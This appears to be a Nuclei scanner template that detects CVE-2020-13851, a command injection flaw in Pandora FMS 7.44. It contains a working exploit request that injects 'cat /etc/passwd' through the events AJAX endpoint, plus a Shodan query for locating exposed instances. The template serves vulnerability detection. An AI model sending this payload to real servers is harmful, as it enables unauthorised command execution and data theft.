id: CVE-2020-13851

info:
  name: Artica Pandora FMS 7.44 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Artica Pandora FMS 7.44 allows remote command execution via the events feature.
  reference:
    - https://packetstormsecurity.com/files/158390/Pandora-FMS-7.0-NG-7XX-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13851
    - https://www.coresecurity.com/advisories
    - https://github.com/hadrian3689/pandorafms_7.44
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-13851
    cwe-id: CWE-78
    epss-score: 0.96952
    epss-percentile: 0.99674
    cpe: cpe:2.3:a:pandorafms:pandora_fms:7.44:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: pandorafms
    product: pandora_fms
    shodan-query: title:"Pandora FMS"
  tags: cve2020,cve,packetstorm,rce,pandora,unauth,artica,pandorafms

http:
  - raw:
      - |
        POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - "text/html"
          - "PHPSESSID="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022058dede621391a5c5aa3cbab99614f6e05eb1c25d174cb444fc225088cfc531a3022100d43ab48e876ed266cffa72d5a17bcaf610d3d10d131b046556958fd7be786cf1:922c64590222798bb761d5b6d8e72950